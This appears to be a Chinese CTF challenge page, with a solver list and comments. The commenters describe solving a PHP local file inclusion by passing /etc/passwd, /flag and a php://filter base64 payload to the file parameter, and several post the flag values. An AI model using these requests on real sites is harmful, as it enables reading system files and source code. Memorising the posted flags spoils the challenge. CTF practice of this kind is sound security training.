评分(11)
解题动态
CCC1112 攻破了该题 3小时前
简随安 攻破了该题 17小时前
noob11 攻破了该题 23小时前
moque 攻破了该题 1天前
pdextaffy 攻破了该题 1天前
theshy_lewis 攻破了该题 2天前
xuanbai 攻破了该题 2天前
suoao 攻破了该题 2天前
Alter 攻破了该题 3天前
LibertyLanyu 攻破了该题 3天前
qi1102 攻破了该题 3天前
豆神 攻破了该题 3天前
阳光SD 攻破了该题 3天前
李先生 攻破了该题 3天前
gc 攻破了该题 3天前
画个公主 攻破了该题 3天前
xcll 攻破了该题 4天前
mrg 攻破了该题 4天前
.ky. 攻破了该题 4天前
评论
107zsm 3年前
举报
打开环境看到有一个超链接click me? no,点进去变成了index.php,并且URL末尾多了一句index.php?file=show.php,看到*.php?file就能猜到是伪协议读取文件了,把URL改成index.php?file=/etc/passwd,爆出来的数据也能验证,而且没过滤,直接index.php?file=/flag
小夫 3年前
举报
file=/flag
rightstar 3年前
举报
flag{a1ad1a8522261e6b9abf21e9bd6ef675}
sibeil 3年前
举报
flag{b23328bbf165641292d9871be279459a}
wxy1343 3年前
举报
flag{a15320afe0f7ad00fb16135d7456a9e1}
mircle 3年前
举报
flag{4911bd2afb90b2abf40a02b45e6979ac}
xclay 3年前
举报
flag{a48aed21035fc48b5003c3f615fad2b0}
tardigrade 3年前
举报
http://xxxx/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
嵌入式学的CTF 3年前
举报
PHP伪协议详解https://blog.csdn.net/cosmoslin/article/details/120695429
xiaoxiao972521 3年前
举报
????直接/flag就出来了？